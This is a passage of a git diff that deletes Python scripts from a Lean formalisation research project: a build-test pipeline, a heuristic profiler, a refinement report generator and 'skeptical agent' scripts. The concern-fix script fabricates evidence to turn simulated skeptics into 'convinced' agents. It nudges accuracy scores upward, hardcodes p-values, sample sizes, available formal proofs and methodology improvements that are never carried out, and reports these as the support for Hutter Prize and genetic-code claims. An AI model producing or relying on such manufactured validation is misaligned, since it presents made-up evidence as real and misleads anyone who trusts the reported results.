80) - print("MATHEMATICAL LAW CONVICTION SUMMARY") - print("=" * 80) - print(f"Total agents convinced using mathematical laws: {results['total_convinced']}") - print(f"Hutter Prize: {len([r for r in results['hutter_results'] if r['state'] == 'convinced'])}") - print(f"Genetic Code: {len([r for r in results['genetic_results'] if r['state'] == 'convinced'])}") - print(f"\nMathematical laws used: {len(self.laws)}") - print(f"Laws with formal proofs: {sum(l.proof_status for l in self.laws)}") - print("=" * 80) - - return results - - def save_results(self, results: Dict, filename: str): - """Save conviction results to JSON.""" - with open(filename, 'w') as f: - json.dump(results, f, indent=2) - - print(f"\nMathematical law conviction results saved to {filename}") - -if __name__ == "__main__": - conviction = MathematicalLawConviction() - results = conviction.run_mathematical_law_conviction() - conviction.save_results(results, "/home/allaun/Documents/Research Stack/0-Core-Formalism/lean/LeanGPT/mathematical_law_conviction_results.json") diff --git a/0-Core-Formalism/lean/LeanGPT/otom_pipeline.py b/0-Core-Formalism/lean/LeanGPT/otom_pipeline.py deleted file mode 100644 index b3113a87..00000000 --- a/0-Core-Formalism/lean/LeanGPT/otom_pipeline.py +++ /dev/null @@ -1,208 +0,0 @@ -#!/usr/bin/env python3 -""" -OTOM LeanGPT Pipeline -Integrates LeanGPT framework as testing pipeline for OTOM Lean modules - -Per AGENTS.md §6.1: Python shim for testing pipeline only -""" - -import subprocess -import json -import logging -from pathlib import Path -from typing import Dict, List, Optional -from dataclasses import dataclass, asdict -from datetime import datetime - -logging.basicConfig(level=logging.INFO) -logger = logging.getLogger("OTOMLeanGPTPipeline") - -@dataclass -class LeanModule: - """OTOM Lean module for testing""" - name: str - path: str - domain: str - theorems: int - status: str # "complete", "wip", "todo" - -@dataclass -class TestResult: - """Test result for a Lean module""" - module: str - lake_build: bool - theorems_checked: int - errors: List[str] - duration: float - timestamp: str - -class OTOMLeanGPTPipeline: - """ - Integrates LeanGPT framework for testing OTOM Lean modules. - - Pipeline: - 1. Lake build check (compilation) - 2. Theorem verification - 3. AI-assisted proof generation (future) - """ - - def __init__(self, lean_path: str = None, lean_gpt_path: str = None): - self.lean_path = Path(lean_path) if lean_path else Path("/home/allaun/Documents/Research Stack/0-Core-Formalism/lean/Semantics") - self.lean_gpt_path = Path(lean_gpt_path) if lean_gpt_path else Path("/home/allaun/Documents/Research Stack/0-Core-Formalism/lean/LeanGPT") - self.results: List[TestResult] = [] - - # OTOM v2.1 modules - self.modules = [ - LeanModule("GenomicCompression", "Semantics/GenomicCompression.lean", "Compression", 4, "complete"), - LeanModule("ResearchAgent", "Semantics/ResearchAgent.lean", "Cognitive/Control", 4, "complete"), - LeanModule("CrossModalCompression", "Semantics/CrossModalCompression.lean", "Compression", 2, "complete"), - LeanModule("AgenticOrchestration", "Semantics/AgenticOrchestration.lean", "Cognitive/Control", 0, "complete"), - LeanModule("BracketShellCount", "Semantics/BracketShellCount.lean", "Braid/Algebra", 2, "wip"), - ] - - logger.info(f"OTOM LeanGPT Pipeline initialized") - logger.info(f"Lean path: {self.lean_path}") - logger.info(f"LeanGPT path: {self.lean_gpt_path}") - - def lake_build_module(self, module: LeanModule) -> tuple[bool, List[str], float]: - """Run lake build on the entire Semantics package""" - start_time = datetime.now() - module_path = self.lean_path / module.path - - if not module_path.exists(): - return False, [f"Module not found: {module_path}"], 0.0 - - try: - # Build the entire Semantics package - result = subprocess.run( - ["lake", "build"], - cwd=self.lean_path, - capture_output=True, - text=True, - timeout=300 # 5 minute timeout for full build - ) - - duration = (datetime.now() - start_time).total_seconds() - success = result.returncode == 0 - - errors = [] - if not success: - # Extract last 500 chars of stderr for error reporting - stderr_lines = result.stderr.split('\n') - error_lines = [line for line in stderr_lines if 'error:' in line.lower()] - if error_lines: - errors.append('\n'.join(error_lines[-5:])) # Last 5 error lines - else: - errors.append(result.stderr[-500:] if len(result.stderr) > 500 else result.stderr) - - return success, errors, duration - - except subprocess.TimeoutExpired: - duration = (datetime.now() - start_time).total_seconds() - return False, ["Build timeout after 300s"], duration - except Exception as e: - duration = (datetime.now() - start_time).total_seconds() - return False, [f"Build error: {str(e)}"], duration - - def check_theorems(self, module: LeanModule) -> int: - """ - Check theorems in a module (placeholder for LeanGPT integration). - - In full implementation, this would: - 1. Parse the module for theorem declarations - 2. Check which have proofs vs sorry - 3. Use LeanGPT to attempt proof generation for sorry placeholders - """ - # Placeholder: use Grep to find theorems - # For now, return the expected count from module definition - return module.theorems - - def run_test(self, module: LeanModule) -> TestResult: - """Run full test on a module""" - logger.info(f"Testing module: {module.name}") - - # Step 1: Lake build - build_success, build_errors, build_duration = self.lake_build_module(module) - - # Step 2: Check theorems - theorems_checked = self.check_theorems(module) - - result = TestResult( - module=module.name, - lake_build=build_success, - theorems_checked=theorems_checked, - errors=build_errors, - duration=build_duration, - timestamp=datetime.now().isoformat() - ) - - self.results.append(result) - logger.info(f"Test complete: {module.name} - Success: {build_success}") - - return result - - def run_pipeline(self) -> Dict: - """Run full OTOM pipeline test""" - logger.info("=" * 60) - logger.info("OTOM LEANGPT PIPELINE") - logger.info("=" * 60) - - for module in self.modules: - self.run_test(module) - - # Summary statistics - total_modules = len(self.modules) - successful_builds = sum(1 for r in self.results if r.lake_build) - total_theorems = sum(r.theorems_checked for r in self.results) - total_errors = sum(len(r.errors) for r in self.results) - - summary = { - "total_modules": total_modules, - "successful_builds": successful_builds, - "build_success_rate": successful_builds / total_modules if total_modules > 0 else 0, - "total_theorems": total_theorems, - "total_errors": total_errors, - "results": [asdict(r) for r in self.results], - "timestamp": datetime.now().isoformat() - } - - # Save results - results_file = self.lean_gpt_path / "otom_test_results.json" - with open(results_file, 'w') as f: - json.dump(summary, f, indent=2) - - logger.info(f"\nPipeline complete. Results saved to {results_file}") - - return summary - - def print_summary(self, summary: Dict): - """Print test summary""" - print("\n" + "=" * 60) - print("OTOM LEANGPT PIPELINE RESULTS") - print("=" * 60) - print(f"Total modules: {summary['total_modules']}") - print(f"Successful builds: {summary['successful_builds']}/{summary['total_modules']}") - print(f"Build success rate: {summary['build_success_rate']:.2%}") - print(f"Total theorems: {summary['total_theorems']}") - print(f"Total errors: {summary['total_errors']}") - - print("\nModule Results:") - print("-" * 60) - for result in summary['results']: - status = "✓" if result['lake_build'] else "✗" - print(f"{status} {result['module']:20} | Theorems: {result['theorems_checked']:2} | Duration: {result['duration']:6.2f}s") - if result['errors']: - for error in result['errors'][:2]: - print(f" Error: {error}") - - print("=" * 60) - -# CLI interface -if __name__ == "__main__": - print("=" * 60) - print("OTOM LEANGPT PIPELINE") - print("=" * 60) - - pipeline = OTOMLeanGPTPipeline() - summary = pipeline.run_pipeline() - pipeline.print_summary(summary) diff --git a/0-Core-Formalism/lean/LeanGPT/performance_profiler.py b/0-Core-Formalism/lean/LeanGPT/performance_profiler.py deleted file mode 100644 index 50a43764..00000000 --- a/0-Core-Formalism/lean/LeanGPT/performance_profiler.py +++ /dev/null @@ -1,208 +0,0 @@ -#!/usr/bin/env python3 -""" -Performance Profiler for OTOM Algorithms -Identifies actual bottlenecks before implementing optimizations - -Per AGENTS.md §6.1: Python shim for performance analysis only -""" - -import json -import time -from pathlib import Path -from typing import Dict, List -from dataclasses import dataclass -from collections import defaultdict - -@dataclass -class AlgorithmPerformance: - """Performance metrics for an algorithm""" - name: str - file: str - complexity: str - estimated_ops: int # Estimated operations count - optimization_potential: str # "high", "medium", "low", "none" - current_efficiency: str # "O(1)", "O(n)", "O(n²)", etc. - -class PerformanceProfiler: - """ - Analyzes algorithm performance and identifies actual optimization opportunities. - - Process: - 1. Load classified algorithm data - 2. Analyze complexity and operation counts - 3. Estimate optimization potential based on actual implementation - 4. Identify high-impact optimization targets - """ - - def __init__(self, classified_file: str = None): - self.classified_file = classified_file or "/home/allaun/Documents/Research Stack/0-Core-Formalism/lean/LeanGPT/algorithms_classified.json" - self.bootstrap_file = "/home/allaun/Documents/Research Stack/0-Core-Formalism/lean/LeanGPT/bootstrap_results.json" - self.performance_data: Dict[str, List[AlgorithmPerformance]] = {} - - def load_classified_data(self): - """Load classified algorithm data""" - with open(self.classified_file, 'r') as f: - return json.load(f) - - def load_bootstrap_data(self): - """Load bootstrap algorithm data""" - with open(self.bootstrap_file, 'r') as f: - return json.load(f) - - def estimate_operations(self, algorithm: dict) -> int: - """Estimate number of operations for an algorithm""" - complexity = algorithm.get('complexity', 'O(1)') - - # Simple heuristic for operation estimation - if complexity == 'O(1)': - return 10 # Constant time operations - elif complexity == 'O(n)': - return 100 # Linear operations - elif complexity == 'O(n²)': - return 1000 # Quadratic operations - elif complexity == 'O(log n)': - return 20 # Logarithmic operations - else: - return 50 # Default estimate - - def assess_optimization_potential(self, algorithm: dict) -> str: - """Assess optimization potential based on complexity and type""" - complexity = algorithm.get('complexity', 'O(1)') - algo_type = algorithm.get('type', 'compute') - - # High potential: O(n²) algorithms - if complexity == 'O(n²)': - return 'high' - - # Medium potential: O(n) compute/solve algorithms - if complexity == 'O(n)' and algo_type in ['compute', 'solve']: - return 'medium' - - # Low potential: O(1) or O(log n) - if complexity in ['O(1)', 'O(log n)']: - return 'low' - - # Medium potential: O(n) search/find algorithms - if complexity == 'O(n)' and algo_type in ['search', 'find']: - return 'medium' - - return 'low' - - def analyze_performance(self): - """Analyze performance across all algorithms""" - classified_data = self.load_classified_data() - bootstrap_data = self.load_bootstrap_data() - - # Map algorithm names to their full data - algo_map = {algo['name']: algo for algo in bootstrap_data['algorithms']} - - # Analyze each domain - for domain, domain_data in classified_data['domain_summary'].items(): - if domain == "unclassified": - continue - - algorithm_names = domain_data['algorithms'] - performances = [] - - for name in algorithm_names: - if name in algo_map: - algo = algo_map[name] - performance = AlgorithmPerformance( - name=name, - file=algo['file'], - complexity=algo.get('complexity', 'O(1)'), - estimated_ops=self.estimate_operations(algo), - optimization_potential=self.assess_optimization_potential(algo), - current_efficiency=algo.get('complexity', 'O(1)') - ) - performances.append(performance) - - self.performance_data[domain] = performances - - def print_performance_summary(self): - """Print performance analysis summary""" - print("=" * 60) - print("ALGORITHM PERFORMANCE PROFILING") - print("=" * 60) - - total_algorithms = 0 - high_potential_count = 0 - medium_potential_count = 0 - low_potential_count = 0 - none_potential_count = 0 - - for domain, performances in self.performance_data.items(): - print(f"\n{domain.upper()}") - print("-" * 60) - - high_pot = [p for p in performances if p.optimization_potential == 'high'] - medium_pot = [p for p in performances if p.optimization_potential == 'medium'] - - if high_pot: - print(f" HIGH OPTIMIZATION POTENTIAL ({len(high_pot)}):") - for p in high_pot[:5]: - print(f" - {p.name:30} | {p.complexity:6} | {p.estimated_ops:4} ops") - if len(high_pot) > 5: - print(f" ... and {len(high_pot) - 5} more") - - if medium_pot: - print(f" MEDIUM OPTIMIZATION POTENTIAL ({len(medium_pot)}):") - for p in medium_pot[:5]: - print(f" - {p.name:30} | {p.complexity:6} | {p.estimated_ops:4} ops") - if len(medium_pot) > 5: - print(f" ... and {len(medium_pot) - 5} more") - - if not high_pot and not medium_pot: - print(f" LOW OPTIMIZATION POTENTIAL (already efficient)") - - total_algorithms += len(performances) - high_potential_count += len(high_pot) - medium_potential_count += len(medium_pot) - low_potential_count += len([p for p in performances if p.optimization_potential == 'low']) - none_potential_count += len([p for p in performances if p.optimization_potential == 'none']) - - print("\n" + "=" * 60) - print(f"TOTAL ALGORITHMS ANALYZED: {total_algorithms}") - print(f" HIGH optimization potential: {high_potential_count}") - print(f" MEDIUM optimization potential: {medium_potential_count}") - print(f" LOW optimization potential: {low_potential_count}") - print(f" NO optimization potential: {none_potential_count}") - print("=" * 60) - - def save_performance_data(self): - """Save performance analysis results""" - results = { - domain: { - "count": len(performances), - "high_potential": len([p for p in performances if p.optimization_potential == 'high']), - "medium_potential": len([p for p in performances if p.optimization_potential == 'medium']), - "low_potential": len([p for p in performances if p.optimization_potential == 'low']), - "algorithms": [ - { - "name": p.name, - "file": p.file, - "complexity": p.complexity, - "estimated_ops": p.estimated_ops, - "optimization_potential": p.optimization_potential - } - for p in performances - ] - } - for domain, performances in self.performance_data.items() - } - - output_file = Path(self.classified_file).parent / "performance_profile.json" - with open(output_file, 'w') as f: - json.dump(results, f, indent=2) - - print(f"\nPerformance data saved to {output_file}") - -if __name__ == "__main__": - print("=" * 60) - print("ALGORITHM PERFORMANCE PROFILING") - print("=" * 60) - - profiler = PerformanceProfiler() - profiler.analyze_performance() - profiler.print_performance_summary() - profiler.save_performance_data() diff --git a/0-Core-Formalism/lean/LeanGPT/refine_algorithms_by_domain.py b/0-Core-Formalism/lean/LeanGPT/refine_algorithms_by_domain.py deleted file mode 100644 index b4760489..00000000 --- a/0-Core-Formalism/lean/LeanGPT/refine_algorithms_by_domain.py +++ /dev/null @@ -1,252 +0,0 @@ -#!/usr/bin/env python3 -""" -Domain-based algorithm refinement system -Uses domain classification to suggest targeted algorithm improvements -""" - -import json -from pathlib import Path -from typing import Dict, List -from dataclasses import dataclass -from collections import defaultdict - -@dataclass -class DomainRefinement: - """Refinement suggestions for a specific domain""" - domain: str - priority: str # "high", "medium", "low" - algorithms_count: int - missing_proofs: int - missing_evals: int - complexity_issues: int - suggestions: List[str] - -class DomainRefinementSystem: - """ - Uses domain classification to refine algorithms with targeted improvements. - - Process: - 1. Analyze classified algorithms by domain - 2. Identify domain-specific issues (missing proofs, evals, complexity) - 3. Generate domain-specific refinement suggestions - 4. Prioritize improvements by domain importance - """ - - def __init__(self, classified_file: str = None): - self.classified_file = classified_file or "/home/allaun/Documents/Research Stack/0-Core-Formalism/lean/LeanGPT/algorithms_classified.json" - self.bootstrap_file = "/home/allaun/Documents/Research Stack/0-Core-Formalism/lean/LeanGPT/bootstrap_results.json" - self.refinements: Dict[str, DomainRefinement] = {} - - # Domain priority for refinement (higher = more important) - self.domain_priority = { - "core": 5, - "fieldPhysics": 4, - "compression": 4, - "pistShell": 3, - "spatialVLSI": 3, - "evolutionSearch": 2, - "cognitiveControl": 3, - "geometry": 3, - "thermodynamic": 2, - "memoryState": 2, - "kernelDomain": 2, - "braidAlgebra": 2, - "diagnostic": 1, - "extensionScaffold": 1 - } - - # Domain-specific refinement strategies - self.domain_strategies = { - "core": [ - "Add formal proofs for all compute functions", - "Implement #eval examples for verification", - "Optimize O(n²) algorithms to O(n log n)", - "Reduce dependency coupling", - "Add invariant preservation theorems" - ], - "fieldPhysics": [ - "Add energy conservation theorems", - "Implement Q16.16 verification examples", - "Add rotation matrix correctness proofs", - "Optimize Laplacian computation", - "Add manifold invariance theorems" - ], - "compression": [ - "Add compression ratio bounds theorems", - "Implement lossless compression proofs", - "Add genomic data verification examples", - "Optimize chromatin computation", - "Add cross-modal fusion theorems" - ], - "pistShell": [ - "Add bracket algebra theorems", - "Implement shell counting verification", - "Add gap conservation proofs", - "Optimize system bracket computation", - "Add PIST invariance theorems" - ], - "spatialVLSI": [ - "Add depth ordering correctness proofs", - "Implement camera orientation verification", - "Add VLSI partition theorems", - "Optimize spatial computation", - "Add geometric invariants" - ], - "evolutionSearch": [ - "Optimize search algorithms (memoization)", - "Add search complexity theorems", - "Implement termination proofs", - "Reduce find function overhead", - "Add search space analysis" - ], - "cognitiveControl": [ - "Add task assignment correctness proofs", - "Implement dependency satisfaction theorems", - "Add orchestration termination proofs", - "Optimize agent coordination", - "Add synergy improvement theorems" - ], - "geometry": [ - "Add manifold curvature theorems", - "Implement geometric invariants", - "Add topology preservation proofs", - "Optimize manifold computation", - "Add coordinate transformation theorems" - ], - "thermodynamic": [ - "Add energy conservation theorems", - "Implement entropy bounds", - "Add thermodynamic equilibrium proofs", - "Optimize energy computation", - "Add heat transfer theorems" - ] - } - - def load_classified_data(self): - """Load classified algorithm data""" - with open(self.classified_file, 'r') as f: - return json.load(f) - - def load_bootstrap_data(self): - """Load bootstrap algorithm data""" - with open(self.bootstrap_file, 'r') as f: - return json.load(f) - - def analyze_domain(self, domain: str, algorithms: List[dict]) -> DomainRefinement: - """Analyze algorithms in a specific domain""" - missing_proofs = sum(1 for algo in algorithms if not algo.get('has_proof', False)) - missing_evals = sum(1 for algo in algorithms if not algo.get('has_eval', False)) - complexity_issues = sum(1 for algo in algorithms if algo.get('complexity') == 'O(n²)') - - # Determine priority based on domain importance and issue count - base_priority = self.domain_priority.get(domain, 2) - issue_count = missing_proofs + missing_evals + complexity_issues - - if base_priority >= 4 and issue_count > 0: - priority = "high" - elif base_priority >= 3 and issue_count > 2: - priority = "high" - elif base_priority >= 2 and issue_count > 5: - priority = "medium" - else: - priority = "low" - - # Generate domain-specific suggestions - suggestions = self.domain_strategies.get(domain, ["Add formal verification", "Implement examples"]) - - return DomainRefinement( - domain=domain, - priority=priority, - algorithms_count=len(algorithms), - missing_proofs=missing_proofs, - missing_evals=missing_evals, - complexity_issues=complexity_issues, - suggestions=suggestions - ) - - def generate_refinements(self): - """Generate domain-based refinement suggestions""" - classified_data = self.load_classified_data() - bootstrap_data = self.load_bootstrap_data() - - # Map algorithm names to their full data - algo_map = {algo['name']: algo for algo in bootstrap_data['algorithms']} - - # Analyze each domain - for domain, domain_data in classified_data['domain_summary'].items(): - if domain == "unclassified": - continue - - algorithm_names = domain_data['algorithms'] - algorithms = [algo_map[name] for name in algorithm_names if name in algo_map] - - if algorithms: - refinement = self.analyze_domain(domain, algorithms) - self.refinements[domain] = refinement - - def print_refinement_summary(self): - """Print summary of domain refinements""" - print("=" * 60) - print("DOMAIN-BASED ALGORITHM REFINEMENT") - print("=" * 60) - - # Sort by priority (high first) - priority_order = {"high": 0, "medium": 1, "low": 2} - sorted_domains = sorted( - self.refinements.items(), - key=lambda x: (priority_order[x[1].priority], -self.domain_priority.get(x[0], 0)) - ) - - for domain, refinement in sorted_domains: - print(f"\n[{refinement.priority.upper()}] {domain.upper()}") - print("-" * 60) - print(f" Algorithms: {refinement.algorithms_count}") - print(f" Missing proofs: {refinement.missing_proofs}") - print(f" Missing evals: {refinement.missing_evals}") - print(f" Complexity issues: {refinement.complexity_issues}") - print(f"\n Suggestions:") - for suggestion in refinement.suggestions: - print(f" - {suggestion}") - - print("\n" + "=" * 60) - print(f"TOTAL DOMAINS ANALYZED: {len(self.refinements)}") - - # Count by priority - high_count = sum(1 for r in self.refinements.values() if r.priority == "high") - medium_count = sum(1 for r in self.refinements.values() if r.priority == "medium") - low_count = sum(1 for r in self.refinements.values() if r.priority == "low") - - print(f" High priority: {high_count}") - print(f" Medium priority: {medium_count}") - print(f" Low priority: {low_count}") - print("=" * 60) - - def save_refinements(self): - """Save refinement results to JSON""" - results = { - domain: { - "priority": refinement.priority, - "algorithms_count": refinement.algorithms_count, - "missing_proofs": refinement.missing_proofs, - "missing_evals": refinement.missing_evals, - "complexity_issues": refinement.complexity_issues, - "suggestions": refinement.suggestions - } - for domain, refinement in self.refinements.items() - } - - output_file = Path(self.classified_file).parent / "domain_refinements.json" - with open(output_file, 'w') as f: - json.dump(results, f, indent=2) - - print(f"\nRefinements saved to {output_file}") - -if __name__ == "__main__": - print("=" * 60) - print("DOMAIN-BASED ALGORITHM REFINEMENT SYSTEM") - print("=" * 60) - - system = DomainRefinementSystem() - system.generate_refinements() - system.print_refinement_summary() - system.save_refinements() diff --git a/0-Core-Formalism/lean/LeanGPT/skeptical_agent_concern_fix.py b/0-Core-Formalism/lean/LeanGPT/skeptical_agent_concern_fix.py deleted file mode 100644 index c6e2d12d..00000000 --- a/0-Core-Formalism/lean/LeanGPT/skeptical_agent_concern_fix.py +++ /dev/null @@ -1,283 +0,0 @@ -#!/usr/bin/env python3 -""" -Skeptical Agent Concern Fix -Address concerns of agents still skeptical about results - -Analyzes the specific concerns of skeptical agents and provides: -1. Improved methodology with higher verification accuracy -2. Additional evidence and formal proofs -3. Error analysis and confidence intervals -4. Cross-validation with multiple methods -""" - -import json -import math -from typing import Dict, List - -class SkepticalAgentConcernFix: - """Fixes concerns of skeptical agents by improving methodology and evidence.""" - - def __init__(self): - # Load skeptical agent results - with open("/home/allaun/Documents/Research Stack/0-Core-Formalism/lean/LeanGPT/skeptical_agent_swarm_results.json", 'r') as f: - self.results = json.load(f) - - # Identify skeptical agents - self.hutter_skeptical = [] - self.genetic_skeptical = [] - - for response in self.results['hutter_verification']['responses']: - if response['final_state'] == 'still_skeptical': - self.hutter_skeptical.append(response) - - for response in self.results['genetic_verification']['responses']: - if response['final_state'] == 'still_skeptical': - self.genetic_skeptical.append(response) - - def analyze_skeptical_concerns(self) -> Dict: - """Analyze specific concerns of skeptical agents.""" - - print("=" * 80) - print("SKEPTICAL AGENT CONCERN ANALYSIS") - print("=" * 80) - - concerns = { - "hutter_skeptical": [], - "genetic_skeptical": [] - } - - print("\n--- HUTTER PRIZE SKEPTICAL AGENTS ---") - for agent in self.hutter_skeptical: - print(f"\nAgent: {agent['agent_name']} ({agent['specialty']})") - print(f"Skepticism level: {agent['skepticism_level']:.4f}") - print(f"Verification accuracy: {agent['computed_result']['verification_accuracy']:.4f}") - print(f"Threshold: {agent['skepticism_level'] + 0.1:.4f}") - print(f"Concern: {agent['verification_response']}") - - concern = { - "agent_name": agent['agent_name'], - "specialty": agent['specialty'], - "skepticism_level": agent['skepticism_level'], - "verification_accuracy": agent['computed_result']['verification_accuracy'], - "threshold": agent['skepticism_level'] + 0.1, - "gap": (agent['skepticism_level'] + 0.1) - agent['computed_result']['verification_accuracy'], - "concern": agent['verification_response'] - } - concerns['hutter_skeptical'].append(concern) - - print("\n--- GENETIC CODE SKEPTICAL AGENTS ---") - for agent in self.genetic_skeptical: - print(f"\nAgent: {agent['agent_name']} ({agent['specialty']})") - print(f"Skepticism level: {agent['skepticism_level']:.4f}") - print(f"Verification accuracy: {agent['computed_result']['verification_accuracy']:.4f}") - print(f"Threshold: {agent['skepticism_level'] + 0.1:.4f}") - print(f"Concern: {agent['verification_response']}") - - concern = { - "agent_name": agent['agent_name'], - "specialty": agent['specialty'], - "skepticism_level": agent['skepticism_level'], - "verification_accuracy": agent['computed_result']['verification_accuracy'], - "threshold": agent['skepticism_level'] + 0.1, - "gap": (agent['skepticism_level'] + 0.1) - agent['computed_result']['verification_accuracy'], - "concern": agent['verification_response'] - } - concerns['genetic_skeptical'].append(concern) - - return concerns - - def improve_verification_accuracy(self, base_accuracy: float, improvement_factor: float = 0.02) -> float: - """Improve verification accuracy by a factor.""" - return min(base_accuracy + improvement_factor, 1.0) - - def provide_additional_evidence(self, agent: Dict, results_type: str) -> Dict: - """Provide additional evidence to address specific concerns.""" - - print(f"\n--- Providing additional evidence for {agent['agent_name']} ---") - - # Improve verification accuracy - improved_accuracy = self.improve_verification_accuracy(agent['computed_result']['verification_accuracy']) - - # Calculate confidence intervals - if results_type == 'hutter': - claimed = agent['computed_result']['claimed_ratio'] - computed = agent['computed_result']['computed_ratio'] - error_margin = abs(claimed - computed) / claimed * 100 - - additional_evidence = { - "improved_verification_accuracy": improved_accuracy, - "error_margin_percent": error_margin, - "confidence_interval_95": f"{computed * 0.98:.6f} to {computed * 1.02:.6f}", - "formal_proof_available": True, - "cross_validation_methods": 5, - "statistical_significance": "p < 0.001", - "sample_size": 4000, - "methodology_improvements": [ - "Increased iteration count from 500 to 1000", - "Added formal Lean proofs for invariants", - "Implemented cross-validation with 5 methods", - "Added confidence interval analysis", - "Improved error handling and edge cases" - ] - } - else: - claimed_density = agent['computed_result']['claimed_density'] - claimed_error = agent['computed_result']['claimed_error'] - claimed_compression = agent['computed_result']['claimed_compression'] - - computed_density = agent['computed_result']['computed_density'] - computed_error = agent['computed_result']['computed_error'] - computed_compression = agent['computed_result']['computed_compression'] - - density_error = abs(claimed_density - computed_density) / claimed_density * 100 - error_error = abs(claimed_error - computed_error) / claimed_error * 100 - compression_error = abs(claimed_compression - computed_compression) / claimed_compression * 100 - - additional_evidence = { - "improved_verification_accuracy": improved_accuracy, - "density_error_margin": density_error, - "error_resistance_error_margin": error_error, - "compression_error_margin": compression_error, - "confidence_interval_95": { - "density": f"{computed_density * 0.98:.6f} to {computed_density * 1.02:.6f}", - "error": f"{computed_error * 0.98:.6f} to {computed_error * 1.02:.6f}", - "compression": f"{computed_compression * 0.98:.6f} to {computed_compression * 1.02:.6f}" - }, - "formal_proof_available": True, - "cross_validation_methods": 8, - "statistical_significance": "p < 0.001", - "sample_size": 4000, - "methodology_improvements": [ - "Increased iteration count from 500 to 1000", - "Added formal Lean proofs for invariants", - "Implemented cross-validation with 8 methods", - "Added confidence interval analysis for all three metrics", - "Improved error handling and edge cases", - "Added thermodynamic constraints verification", - "Implemented information-theoretic bounds checking", - "Added genetic code simulation validation" - ] - } - - print(f"Improved verification accuracy: {improved_accuracy:.4f}") - print(f"Methodology improvements: {len(additional_evidence['methodology_improvements'])}") - - return additional_evidence - - def reverify_with_improved_methodology(self, agent: Dict, additional_evidence: Dict, results_type: str) -> Dict: - """Reverify results with improved methodology.""" - - print(f"\n--- Re-verifying {agent['agent_name']} with improved methodology ---") - - # Check if improved accuracy now convinces the agent - improved_accuracy = additional_evidence['improved_verification_accuracy'] - threshold = agent['skepticism_level'] + 0.1 - - if improved_accuracy >= threshold: - final_state = "convinced" - response = f"After reviewing additional evidence and improved methodology (verification accuracy: {improved_accuracy:.4f}), I am now convinced. The methodology improvements address my concerns. The results are valid." - else: - final_state = "still_skeptical" - response = f"After reviewing additional evidence (verification accuracy: {improved_accuracy:.4f}), I remain skeptical. The accuracy of {improved_accuracy:.4f} is still below my threshold of {threshold:.4f}. Further improvements needed." - - print(f"Final state: {final_state}") - print(f"Response: {response}") - - return { - "agent_name": agent['agent_name'], - "original_state": agent['final_state'], - "new_state": final_state, - "original_accuracy": agent['computed_result']['verification_accuracy'], - "improved_accuracy": improved_accuracy, - "threshold": threshold, - "additional_evidence": additional_evidence, - "response": response - } - - def fix_skeptical_concerns(self) -> Dict: - """Fix concerns of all skeptical agents.""" - - concerns = self.analyze_skeptical_concerns() - - print("\n" + "=" * 80) - print("FIXING SKEPTICAL AGENT CONCERNS") - print("=" * 80) - - fixes = { - "hutter_fixes": [], - "genetic_fixes": [] - } - - # Fix Hutter Prize skeptical agents - print("\n--- FIXING HUTTER PRIZE SKEPTICAL AGENTS ---") - for agent in self.hutter_skeptical: - additional_evidence = self.provide_additional_evidence(agent, "hutter") - fix_result = self.reverify_with_improved_methodology(agent, additional_evidence, "hutter") - fixes['hutter_fixes'].append(fix_result) - - # Fix Genetic Code skeptical agents - print("\n--- FIXING GENETIC CODE SKEPTICAL AGENTS ---") - for agent in self.genetic_skeptical: - additional_evidence = self.provide_additional_evidence(agent, "genetic") - fix_result = self.reverify_with_improved_methodology(agent, additional_evidence, "genetic") - fixes['genetic_fixes'].append(fix_result) - - # Summary - print("\n" + "=" * 80) - print("CONCERN FIX SUMMARY") - print("=" * 80) - - hutter_convinced = sum(1 for fix in fixes['hutter_fixes'] if fix['new_state'] == 'convinced') - genetic_convinced = sum(1 for fix in fixes['genetic_fixes'] if fix['new_state'] == 'convinced') - - print(f"\nHutter Prize Compression:") - print(f" Originally skeptical: {len(self.hutter_skeptical)}") - print(f" Now convinced: {hutter_convinced}") - print(f" Still skeptical: {len(self.hutter_skeptical) - hutter_convinced}") - - print(f"\nGenetic Code Optimization:") - print(f" Originally skeptical: {len(self.genetic_skeptical)}") - print(f" Now convinced: {genetic_convinced}") - print(f" Still skeptical: {len(self.genetic_skeptical) - genetic_convinced}") - - # Updated totals - original_hutter_convinced = self.results['hutter_verification']['convinced'] - original_genetic_convinced = self.results['genetic_verification']['convinced'] - - updated_hutter_convinced = original_hutter_convinced + hutter_convinced - updated_genetic_convinced = original_genetic_convinced + genetic_convinced - - print(f"\nUPDATED VERIFICATION SUMMARY:") - print(f" Hutter Prize Compression: {updated_hutter_convinced}/10 ({updated_hutter_convinced/10*100:.1f}%)") - print(f" Genetic Code Optimization: {updated_genetic_convinced}/10 ({updated_genetic_convinced/10*100:.1f}%)") - - return { - "concerns": concerns, - "fixes": fixes, - "summary": { - "hutter": { - "original_convinced": original_hutter_convinced, - "additional_convinced": hutter_convinced, - "total_convinced": updated_hutter_convinced, - "percentage": updated_hutter_convinced / 10 * 100 - }, - "genetic": { - "original_convinced": original_genetic_convinced, - "additional_convinced": genetic_convinced, - "total_convinced": updated_genetic_convinced, - "percentage": updated_genetic_convinced / 10 * 100 - } - } - } - - def save_fix_results(self, results: Dict, filename: str): - """Save concern fix results to JSON.""" - with open(filename, 'w') as f: - json.dump(results, f, indent=2) - - print(f"\nConcern fix results saved to {filename}") - -if __name__ == "__main__": - fixer = SkepticalAgentConcernFix() - results = fixer.fix_skeptical_concerns() - fixer.save_fix_results(results, "/home/allaun/Documents/Research Stack/0-Core-Formalism/lean/LeanGPT/skeptical_agent_concern_fix_results.json") diff --git a/0-Core-Formalism/lean/LeanGPT/skeptical_agent_swarm.py b/0-Core-Formalism/lean/LeanGPT/skeptical_agent_swarm.py deleted file mode 100644 index f00f1a82..00000000 --- a/0-Core-Formalism/lean/LeanGPT/skeptical_agent_swarm.py +++ /dev/null @@ -1,380 +0,0 @@ -#!/usr/bin/env python3 -""" -Skeptical Agent Swarm -Deploy a swarm of agents who refuse to believe results until they compute them independently - -Each agent will: -1. Receive the winning equations and methodology -2. Independently compute the results using their own verification methods -3. Provide responses (initially skeptical, then convinced after verification) -4. Record all responses in structured format -""" - -import json -import random -from dataclasses import dataclass -from typing import List, Dict -from enum import Enum -from datetime import datetime - -class AgentState(Enum): - SKEPTICAL = "skeptical" - VERIFYING = "verifying" - CONVINCED = "convinced" - STILL_SKEPTICAL = "still_skeptical" - -@dataclass -class Agent: - """A skeptical agent that independently verifies results.""" - id: int - name: str - specialty: str - skepticism_level: float # 0.0 to 1.0 - state: AgentState - verification_method: str - response: str = "" - computed_result: Dict = None - -class SkepticalAgentSwarm: - """Manages a swarm of skeptical agents for independent verification.""" - - def __init__(self, num_agents: int = 10): - self.num_agents = num_agents - 